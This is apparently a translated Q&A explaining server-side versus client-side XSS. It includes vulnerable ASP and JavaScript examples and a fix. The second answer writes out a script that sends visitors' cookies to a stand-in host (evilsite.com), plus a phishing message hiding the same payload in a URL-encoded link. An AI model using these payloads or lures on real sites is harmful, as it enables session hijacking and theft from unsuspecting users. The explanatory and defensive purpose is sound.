服务器 XSS 与客户端 XSS

Server XSS vs. client XSS

服务器XSS和客户端XSS的区别有什么明确的解释?

我看了OWASP网站上的解释,但对我来说不是很清楚。我知道反射的、存储的 en DOM 类型。

首先,为了让其他人找到问题,我们从 OWASP Types of Cross-Site Scripting 页面获取文本:

Server XSS

Server XSS occurs when untrusted user supplied data is included in an HTML response generated by the server. The source of this data could be from the request, or from a stored location. As such, you can have both Reflected Server XSS and Stored Server XSS.

In this case, the entire vulnerability is in server-side code, and the browser is simply rendering the response and executing any valid script embedded in it.

Client XSS

Client XSS occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call. A JavaScript call is considered unsafe if it can be used to introduce valid JavaScript into the DOM. This source of this data could be from the DOM, or it could have been sent by the server (via an AJAX call, or a page load). The ultimate source of the data could have been from a request, or from a stored location on the client or the server. As such, you can have both Reflected Client XSS and Stored Client XSS.

这将 XSS 重新定义为两类:服务器和客户端。

服务器XSS是指数据直接从服务器传到页面上。例如,包含未净化文本的数据来自构成易受攻击页面的 HTTP 响应。

Client XSS 表示数据来自JavaScript 对页面进行了操作。因此,是 JavaScript 将未经处理的文本添加到页面,而不是它在首次加载到浏览器时出现在页面中的那个位置。

服务器 XSS 示例

一个ASP(或ASP.NET)页面在生成时向HTML页面输出一个变量,直接从数据库中获取:

<%=firstName %>

由于 firstName 未进行 HTML 编码,恶意用户可能将他们的名字输入为 <script>alert('foo')</script>,从而导致成功的 XSS 攻击。

另一个例子是在没有预先存储的情况下通过服务器处理的变量的输出:

<%=Request.Form["FirstName"] %>

客户端 XSS 示例*

<script type="text/javascript">
function loadXMLDoc() {
    var xmlhttp;

    if (window.XMLHttpRequest) {
        // code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp = new XMLHttpRequest();
    } else {
        // code for IE6, IE5
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }

    xmlhttp.onreadystatechange = function() {
        if (xmlhttp.readyState == 4 ) {
           if(xmlhttp.status == 200){
               document.getElementById("myDiv").innerHTML = xmlhttp.responseText;
           }
           else if(xmlhttp.status == 400) {
              alert('There was an error 400')
           }
           else {
               alert('something else other than 200 was returned')
           }
        }
    }

    xmlhttp.open("GET", "get_first_name.aspx", true);
    xmlhttp.send();
}
</script>

请注意,我们的 get_first_name.aspx 方法不对返回的数据进行编码,因为它是一种网络服务方法,也被其他系统使用(content-type 设置为 text/plain ).我们的 JavaScript 代码将 innerHTML 设置为此值,因此它容易受到客户端 XSS 攻击。为了在这种情况下避免客户端 XSS,应该使用 innerText 而不是 innerHTML,这不会导致对 HTML 字符的解释。使用 textContent 更好,因为 Firefox 不兼容非标准 innerText 属性.

* 代码改编自 this answer.

SilverlightFox 已经很好地解释了一切,但我想添加一些示例。

服务器 XSS:
假设我们发现了一个易受攻击的网站,它没有正确处理评论框文本。我们创建一个新评论并输入:

<p>This picture gives me chills</p>
<script>img=new Image();img.src="http://www.evilsite.com/cookie_steal.php?cookie="+document.cookie+"&url="+document.domain;</script>

我们还创建了一个 PHP 脚本,它将两个 GET 值保存到一个文本文件中,然后我们可以继续窃取用户的 cookie。 Cookie 会在每次有人加载注入的评论时发送,甚至不需要看到它的到来(只看到 "This picture gives me chills" 评论)。


客户端 XSS:
假设我们发现了一个网站,它有易受攻击的搜索栏,并将我们搜索的 HTML 解析到页面中。要对此进行测试,只需搜索类似以下内容的内容:

<font color="red">Test</font>

如果搜索结果显示 "Test" 为红色,则搜索引擎存在客户端 XSS 漏洞。攻击者然后使用网站用户的个人 messages/emails,向用户发送无辜的表情 url。这可能看起来像:

Hello, I recently had a problem with this website's search engine.
Please click on following link:
http://www.vulnerable-site.com/search.php?q=%3C%73%63%72%69%70%74%3E%69%6D%67%3D%6E%65%77%20%49%6D%61%67%65%28%29%3B%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%73%69%74%65%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%5F%73%74%65%61%6C%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2B%22%26%75%72%6C%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%3B%3C%2F%73%63%72%69%70%74%3E

当有人点击 link 时,代码会从他们的浏览器中启动(它被编码为 URL 个字符,否则用户可能会怀疑网站 url 中的脚本),与上面的脚本做同样的事情 -> 窃取用户的 cookie。

但是,如果您在未经网站所有者批准的情况下使用它,那么您就是违法的。 请记住这一点,并使用我的示例来修复您网站上的 XSS 漏洞。